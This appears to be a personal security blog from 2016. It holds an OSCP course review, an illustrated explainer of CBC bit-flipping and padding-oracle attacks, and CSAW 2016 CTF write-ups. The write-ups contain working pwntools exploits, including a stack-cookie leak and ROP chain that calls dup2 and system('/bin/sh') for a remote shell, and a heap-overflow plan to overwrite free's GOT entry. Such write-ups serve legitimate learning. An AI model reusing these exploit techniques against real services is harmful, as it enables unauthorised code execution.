Friday 9 December 2016

Stacks? what are they and how to smash them



I made a thing on how to smash the stack.

For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html

Stacks? what are they and how to smash them



I made a thing on how to smash the stack.

For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html

Tuesday 8 November 2016

OSCP maybe not for me?

I've been doing the OSCP course: 'Pentesting with Kali linux' for the last 80 days (the end is near).


Background:
I've got a solid interest in binary exploitation and breaking things, I really enjoy a good challenge. The first time I defeated ASLR and NX it took me literally 5 days of nothing but eating sleeping and staring at gdb-peda. I loved that, I loved the challenge and the journey.

What I think of the OSCP:
When I started the OSCP I thought it would be the same, and for a lot of people it is exactly that.

But nooooope

I found it extremely tedious. The material they give you is like glorified man pages. Useful, but not really.
The value is in the lab. A bunch of boxes with a bunch of vulns.

Before continuing I want to make how I feel about the OSCP very clear. It's a 7/10, pretty good, but room for improvement.


It's taught upside down
The way the material is presented is like "If you do X,Y,Z that tells you A,B,C and you can use that to do D,E,F" where X,Y,Z are specific tools or commands.

Learning this way fells like aimlessly meandering through a forrest gathering anything that looks useful.

INSTEAD, it should be taught in a more goal centric way.
Take the recon stage for example, analyse what it is you're looking for. Think of the weaknesses from a higher level such as "Exposed services", "bits that only other computers can see" and the sort of information that will be useful. Then, outline how that can be done and finally, provide some example tools that help accomplish that task.

The material is also uncorrelated with the lab. I think there should be more guidance available for completing the labs. I think pentesterlabs does a really good job at this.

I think the OSCP works really well for a lot of people but not me. I think the lab is a great start but the educational material is rubbish.

I don't think an educational service should have a motto like 'try harder'. I think the value of the OSCP is mostly in the certificate, which is not reflected in the price. I think the course is a lot of money (unless your company is paying).

If you're a computer science person working at a company and want to move to a security job and you're company is going to pay for the OSCP then 100% yep this is for you, I would definitely recommend.

If you're a college student, I wouldn't recommend doing the OSCP until you've done all the wargames, CTF's, and vulnerable vm's that are online for free.

If, like me, you love binary exploitation and want to learn some pen test skills, learn how to metasploit first. This is not a course about binary exploitation, it is covered, but only a little. Don't expect to spend time in gdb.


I would recommend doing the course at the same time as some friends. I often got stuck and not in the 'try harder' kinda way, stuck in the bored kinda way.

I've got the exam coming up and I don't expect to pass the first time.

There's my 2 cents on the OSCP





















Thursday 6 October 2016

Breaking computers: Padding Oracle Attack

Attacking modern cyrptography

Watch the animated video here: Animated Explanation



Encryption lets you convert a message into a cipher using a key
so that only someone with the same key can convert it back









even the smallest change in input massively changes the output cipher 




and thanks to maths it's unbreakable (for now... maybe *cough cough* NSA)



but you are limited to how much you can encrypt, usually only 8 or 16 bytes at a time
which means it needs to be used as part of a larger system



system
ˈsɪstəm/
noun
  1. 1.
    a set of things working together as parts of a mechanism or an interconnecting network; a complex whole.
    "the state railway system"

which by definition makes it more complex, and unfortunately, all it takes is a tiny leak to completely destroy a crypto system



What if we encode each block separately?



This is equivalent to encoding every letter in a sentence
Guvf vf rdhvinyrag gb rapbqvat rirel yrggre va n fragrapr

Or every pixel in an image
Part of This image (The fuzzy penguin bit) is derived from File:Tux.jpg, and therefore requires attribution. All uses are permitted provided that Larry Ewing, the owner of the original image, who requires that you mention him, his email address, lewing@isc.tamu.edu, and The GIMP, according to http://www.isc.tamu.edu/~lewing/linux/.


Cipher block chaining


where ECB is glorified rot13
CBC is a glorified enigma machine

The idea is simple, mix the output with more input to create more randomness in the result

Less fuzzy penguins but more complexity

it's used everywhere, especially places it shouldn't be

encrypt the first block 
xor that with the next block and encrypt that
xor that with the next block and encrypt that



where xor just means magic computer addition (google it)

to decrypt, just do every step in reverse











notice that when we encrypt we have to go one after another
so that every input block will impact the rest of the cipher

but when we decrypt we can do the whole thing in parallel

how much of the cipher text do you need to recover any given block of input?

ideally, if you changed any of the cipher, the entire decryption should be broken

but!
turns out each plaintext block is only dependant on 2 cipher blocks

so what happens if we start changing some of the cipher blocks?
Incrementing the last digit of the middle cipher block only ruins the previous block's decryption


remember how xor is just very-simple-computer-addition 
this means we can very precisely change part of the decryption

and the previous block is the only thing that gets completely ruined

which you can abuse in certain situations to have no effect anyway

is this algorithm totally broken?
is everything insecure?

yeah kinda,


Demo Time

say this was being used on a website, where you want to save someone's login details in a cookie so that they don't have to log in constantly (hint, this is a BAD IDEA)

but you don't want them changing things like their permissions
so you encrypt it with a key that's only on the server on the other side of the internet (seems legit, right?)

something like this
{
"name" : "mr joe",
"thought of the day" : "cyber cyber cyber cyber cyber",
"admin" : 0 
}


think about how the last couple of blocks will be encrypted

[yber cyber cyber] [","admin" : 0 ]

if we flip the bit corresponding to the admin flag then the previous block will be ruined but it doesn't really matter.

{
"name" : "mr joe",
"thought of the day" : "cyber cyber c????????????????",
"admin" : 1 
}

hahah!
mr joe was able to adjust his 'thought of the day' so that when the admin bit was flipped it had no impact on how the data would be used.

Even without any technical faults, we can already do a lot of damage

lets have a look at just how devastating it can get if you have even the tiniest leak


Padding Oracle Time

When you encrypt a block it has to fit the block size, and if it's too small you need to pad it out
and you need to be able to remove the padding once you decode the message

the standard way is to use the amount you need to pad as the padding.


if a service gives you an error when it recieves an incorrectly padded message, it's game over for the service. 
We can now encrypt and decrypt anything without ever knowing the key.

To decode the message block D7FF we cycle through all the values of the last digit in the previous block until we get a valid padding

which we know must be ???1 becasue it was padded correctly


Side Note:

It could also have been a 2 if the second last digit was a 2, or 33, 444 etc. Just starting again with a different second digit
End Side Note 

We can xor that with the digit we used in the cipher, to work out the last digit of the intermediate block. 

Using that we can get a 2 in the last position of the decrypted block and now we can find the next digit


Using that, we can get 3's in the last 2 positions of the decrypted block and now we can find the second digit












Using that, we can get 4's in the last 3 positions of the decrypted block and now we can find the first digit









Then we know the entire intermediate block pre encryption
so all we have to do is xor it with the original cipher block
and we'll have decoded that block of cipher text.






Monday 19 September 2016

CSAW 2016 Warmup pwn 50

#!/usr/bin/python
from pwn import *
with open('payload', 'w') as f:
 f.write('')

# usefull little stub for writing payload to file as you hack
def send(conn, line):
 print line
 conn.sendline(line)

 with open('payload', 'a') as f:
  line += '\x0a' # fuck you :)
  f.write(line)

conn = remote("pwn.chal.csaw.io",8000)


print conn.recvuntil("WOW:")
addr = conn.recvuntil("\n")



send(conn,"AAAA"*18 + p64(0x40060d))
conn.interactive()

Sunday 18 September 2016

CSAW 2016 Tutorial pwn 200 (Draft)

thinking.txt


FIrst neeed to make a local user called tutorial with home dir


run binary and connect on localhost

what is getpwnam?

-Tutorial-
1.Manual
2.Practice
3.Quit
>1
Reference:0x7ffff7898490
-Tutorial-
1.Manual
2.Practice
3.Quit
>2

buffer overflow in  2.Practice


gdb-peda$ x/100wx 0x7fffffffe0e0
0x7fffffffe0e0: 0x41414141 0x0000000a 0x00000000 0x00000000
0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk
0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004
0x7fffffffe240: 0xf7fd0a32 0x00007fff 0xf7bd4e00 0x00007fff
0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000
0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffe230:
 rip = 0x400f70 in func2; saved rip = 0x401053
 called by frame at 0x7fffffffe260
 Arglist at 0x7fffffffe220, args: 
 Locals at 0x7fffffffe220, Previous frame's sp is 0x7fffffffe230
 Saved registers:
  rbp at 0x7fffffffe220, rip at 0x7fffffffe228


gdb-peda$ distance 0x7fffffffe0e0 0x7fffffffe228
From 0x7fffffffe0e0 to 0x7fffffffe228: 328 bytes, 82 dwords



328 A's then eip


stack cookies!

This is what 'reference' is
  v1 = dlsym((void *)0xFFFFFFFF, "puts");
  write(a1, "Reference:", 0xAuLL);
  sprintf(&s, "%p\n", (char *)v1 - 1280);
  write(a1, &s, 0xFuLL);

 address of puts?
 ok then

write(a1, ">", 1uLL);
  read(a1, &s, 460uLL);
  write(a1, &s, 324uLL);

/lib/x86_64-linux-gnu/libc-2.19.so

 it reads out the stack cookie to me! yay

0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe210: 0x00000000 0x00000000 0xa9acfd00 0x4042b240 <cookie
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000 <read up to first chunk
0x7fffffffe230: 0x00000003 0x00000000 0x00401401 0x00000004


so send 312 many 'A's that will put it just up against the stack 
cookie
then I will read it
then I will do it again but sub the cookie in + eip





0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f54 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe100: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe110: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe120: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe130: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe140: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe150: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe160: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe180: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ 
0x7fffffffe190: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe200: 0x00000000 0x00000000 0x00000000 0x41414141
0x7fffffffe210: 0x41414141 0x0a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0x00401053 0x00000000
0x7fffffffe230: 0x00000000 0x00000000 0x00401401 0x00000004
0x7fffffffe240: 0xffff0a32 0x00007fff 0xf7bd4e00 0x00007fff
0x7fffffffe250: 0xffffe2c0 0x00007fff 0x00401257 0x00000000
0x7fffffffe260: 0xffffe3a8 0x00007fff 0xf7ff79b0 0x00000002
0x7fffffffe270: 0xf7ffe1a8 0x00000000 0x00000000 0x00000010
0x7fffffffe280: 0x00000003 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000



after 

gdb-peda$ x/100wx 0x7fffffffe000
0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f70 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ 
0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff
0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000



on ret

gdb-peda$ x/100wx 0x7fffffffe000
0x7fffffffe000: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe030: 0x00000000 0x00000000 0xf7ddb0f0 0x00007fff
0x7fffffffe040: 0xf7dd0000 0x00007fff 0x00000000 0x00000000
0x7fffffffe050: 0x00000000 0x00000000 0xf7ffe500 0x00007fff
0x7fffffffe060: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x7fffffffe070: 0xa5b50f0b 0x00000000 0x0040066c 0x00000000
0x7fffffffe080: 0xffffffff 0x00000000 0x00000000 0x00000000
0x7fffffffe090: 0xf7831b38 0x00007fff 0xf7bd1760 0x00007fff
0x7fffffffe0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe0c0: 0xffffe220 0x00007fff 0x00400f8c 0x00000000
0x7fffffffe0d0: 0xffffe3a0 0x00007fff 0xf787deb7 0x00000004
0x7fffffffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe100: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe110: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe180: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ 
0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x41414141 0x3a3a3a3a 0x64605000 0xdc70460a
0x7fffffffe220: 0xffffe250 0x00007fff 0xf7898990 0x00007fff
0x7fffffffe230: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe240: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe250: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe260: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe270: 0xf79909a0 0x00007fff 0xf79909a0 0x00007fff
0x7fffffffe280: 0x0000000a 0x00000004 0x00000000 0x00000000
0x7fffffffe290: 0xd3040002 0x00000000 0x00000000 0x00000000
0x7fffffffe2a0: 0xec9a0002 0x0100007f 0x00000000 0x00000000
0x7fffffffe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe2f0: 0x00000000 0x00000000 0x4e19b21d 0x2f80f992
0x7fffffffe300: 0x00400c90 0x00000000 0xffffe3a0 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x00000000 0x00000000




So what was happening was that puts was pushing rbx onto the stack and 
calling strcpy which then segfaulted
I figgure I need to put &/bin/sh into ebx


# 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret
# 0x00400d49 : (01f3c3) add ebx,esi; ret

this will accomplish this



nope nope nope

lets go strait to system
so we need to set 

# rdi rsi 
to call system

put addr of /bin/sh in rdi call system

tried that
pops shell locally ... on the server side

need to dup dup dup

dup = 0x7ffff7909460 - 0x7ffff7898490 + int(ref,16)

use same leak trick
hope it works XD


rdi already has the file descriptor 
so that's helpfull
:)

dup2(old,new)

need to 
dup2(fd,0)
dup2(fd,1)
dup2(fd,2)

k so I can pop a shell locally




fuk I'm like so close

I need to find /bin/sh on the box

puts 0x7f620ea3a990
binsh 0x7f620eb329a0

puts - binsh = 
0xf8010

in the lib c 
puts 0x06b990
binsh_l 0x01639a0


#!/usr/bin/python

import sys
from pwn import *
with open('payload', 'w') as f:
 f.write('')

def send(conn, line):
 print line
 conn.sendline(line)

 with open('payload', 'a') as f:
  line += '\x0a' # fuck you :)
  f.write(line)

# conn = remote("pwn.chal.csaw.io",8002)
conn = remote("localhost", int(sys.argv[1]))
print conn.recvuntil(">")
send(conn, "1")
print conn.recvuntil("Reference:")
ref = conn.recvuntil("\n")
print ref
print conn.recvuntil(">")
send(conn, "2")
# raw_input("continue?")
send(conn, "A"*(312-4)+":::")
print conn.recvuntil(":::")
cookie = conn.recvuntil("-Tutorial-")[:-len("-Tutorial-")].lstrip()[:-4]

print cookie
print cookie.encode('hex')
print hex(u64(cookie))

print conn.recvuntil(">")

#0x400eef: dec ecx; ret
misc_rop = p64(0x400eef)

# [heap] : 0x603035 --> 0x68732f6e69622f ('/bin/sh')
#   libc : 0x7ffff79909a0 --> 0x68732f6e69622f ('/bin/sh')


# 0x7ffff7898490 ref
puts_libc = int(ref,16)+1280
puts = p64(puts_libc)

# b = 0x7ffff79909a0 - 0x7ffff7898490 + int(ref,16)
# addr_binsh = p64(b)

# dup2 = p64(0x7ffff7909490 - 0x7ffff7898490 + int(ref,16))
# system = p64(0x7ffff786e490- 0x7ffff7898490 + int(ref,16))

# puts 000000000006fd60
# system 0000000000046590
# dup2 00000000000ebe90

sysMputs = 0x46590 - 0x6fd60
dupMputs = 0xebe90 - 0x6fd60

system = p64(puts_libc + sysMputs)
dup2 = p64(puts_libc + dupMputs)



addr_binsh = p64(0x603035)
ebp = p64(0x00007fffffffe250)


# # null
# null = p64(0x400007)

# 0x004012e1 : (5e415fc3) pop rsi; pop r15; ret
# 0x00400d49 : (01f3c3) add ebx,esi; ret
rop_pop_rsi_pop = p64(0x004012e1)
rop_add_ebx_esi = p64(0x00400d49)
#0x4012dc: pop r12; pop r13; pop r14; pop r15; ret
#0x4012e3: pop rdi; ret
pop_rdi = p64(0x4012e3)
pops = p64(0x4012dc)
print ref

# rdi rsi 

# rdi is already the fd for socket :) yay
send(conn, "2")
payload = "A"*(312-4)+"::::" + cookie + ebp
# dup2(fd, stdin)
payload += rop_pop_rsi_pop + p64(0) + "A"*8 + dup2
payload += rop_pop_rsi_pop + p64(1) + "A"*8 + dup2
payload += rop_pop_rsi_pop + p64(2) + "A"*8 + dup2
payload += pop_rdi + addr_binsh +  system
send(conn,  payload)
send(conn,  "ls -la")


conn.interactive()


FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}

CSAW 2016 Hungman pwn 300 (Draft)


Braindump
0x603000: 0x00000000 0x00000000 0x00000031 0x00000000
0x603010: 0x41414141 0x41414141 0x41414141 0x41414141
0x603020: 0x41414141 0x41414141 0x41414141 0x41414141
0x603030: 0x00000000 0x00000000 0x00000091 0x00000000
0x603040: 0x00000000 0x00000021 0x00603010 0x00000000
0x603050: 0x00000000 0x00000000 0x00000000 0x00000000
0x603060: 0x00000000 0x00000000 0x00000000 0x00000000
0x603070: 0x00000000 0x00000000 0x00000000 0x00000000
0x603080: 0x00000000 0x00000000 0x00000000 0x00000000
0x603090: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6030c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x6030d0: 0x68697970 0x67786566 0x22a5a375 0x4dd7ace5
0x6030e0: 0xc52aad30 0xc29e10c0 0x5a6280c6 0x7e17919e
0x6030f0: 0x000000fc 0x00000000 0x00020f11 0x00000000
0x603100: 0x00000000 0x00000000 0x00000000 0x00000000
0x603110: 0x00000000 0x00000000 0x00000000 0x00000000
0x603120: 0x00000000 0x00000000 0x00000000 0x00000000
0x603130: 0x00000000 0x00000000 0x00000000 0x00000000
0x603140: 0x00000000 0x00000000 0x00000000 0x00000000
0x603150: 0x00000000 0x00000000 0x00000000 0x00000000
0x603160: 0x00000000 0x00000000 0x00000000 0x00000000
0x603170: 0x00000000 0x00000000 0x00000000 0x00000000
0x603180: 0x00000000 0x00000000 0x00000000 0x00000000
0x603190: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6031f0: 0x00000000 0x00000000 0x00000000 0x00000000

0x00000031 == ??

k so it's a heap overflow


struct
map of correct stuff

I can overflow 




K so the game plan is to overflow our pointer to got free
then we read our name gettign the address of free in libc
then we write system to free

don't forget to make the start of our name /bin/sh;



gdb-peda$ x/128wx 0x1fea000
0x1fea000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1fea010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1fea020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1fea030: 0x00000000 0x00000000 0x00000091 0x00000000
0x1fea040: 0x00000058 0x00000020 0x01fea010 0x00000000
   score ^     nameptr ^


change name to "B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + <addr_free>


0000000000602018 R_X86_64_JUMP_SLOT  free <--- woo
0000000000602020 R_X86_64_JUMP_SLOT  puts
0000000000602028 R_X86_64_JUMP_SLOT  write
0000000000602030 R_X86_64_JUMP_SLOT  __stack_chk_fail
0000000000602038 R_X86_64_JUMP_SLOT  strchr
0000000000602040 R_X86_64_JUMP_SLOT  printf
0000000000602048 R_X86_64_JUMP_SLOT  snprintf
0000000000602050 R_X86_64_JUMP_SLOT  memset
0000000000602058 R_X86_64_JUMP_SLOT  close
0000000000602060 R_X86_64_JUMP_SLOT  read
0000000000602068 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602070 R_X86_64_JUMP_SLOT  __gmon_start__
0000000000602078 R_X86_64_JUMP_SLOT  memcpy
0000000000602080 R_X86_64_JUMP_SLOT  malloc
0000000000602088 R_X86_64_JUMP_SLOT  setvbuf
0000000000602090 R_X86_64_JUMP_SLOT  open
0000000000602098 R_X86_64_JUMP_SLOT  __isoc99_scanf
00000000006020a0 R_X86_64_JUMP_SLOT  exit



play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got))

0x1995000: 0x00000000 0x00000000 0x00000031 0x00000000
0x1995010: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995020: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995030: 0x42424242 0x42424242 0x42424242 0x42424242
0x1995040: 0x00000000 0x00000020 0x00602018 0x00000000

print hungman.recvuntil('?').encode('hex') # Highest player; cont?

prints name

normal
4869676865737420706c617965723a20
424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242
2073636f72653a20300a436f6e74696e75653f

with free
4869676865737420706c617965723a20
2073636f72653a20300a436f6e74696e75653f


print free
$1 = {void (void *)} 0x7f121e43b950 <free>
0x602018 <free@got.plt>: 0x00007f121e0f7600

free has a god damn null at the start

lolx

this is ok 
either it's not there and i'm fine
or I know it's there are I know that so it's ok

play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got +1)) # free has a null at the start


k so now it prints 
4869676865737420706c617965723a20
c6234ced7f
2073636f72653a20300a436f6e74696e75653f


index = resp.index("Highest player: ") + len("Highest player: ")
addr = u64('\x00' + resp[index:index +5] + '\x00\x00')

yep that gets the libc addr of free

well....
free -  what I get
>>> 0x7f5c6645a950 - 0x7f5c66116600
3425104

maybe it's the same?

>>> 0x7f69584fa950 - 0x7f69581b6600
3425104

yep

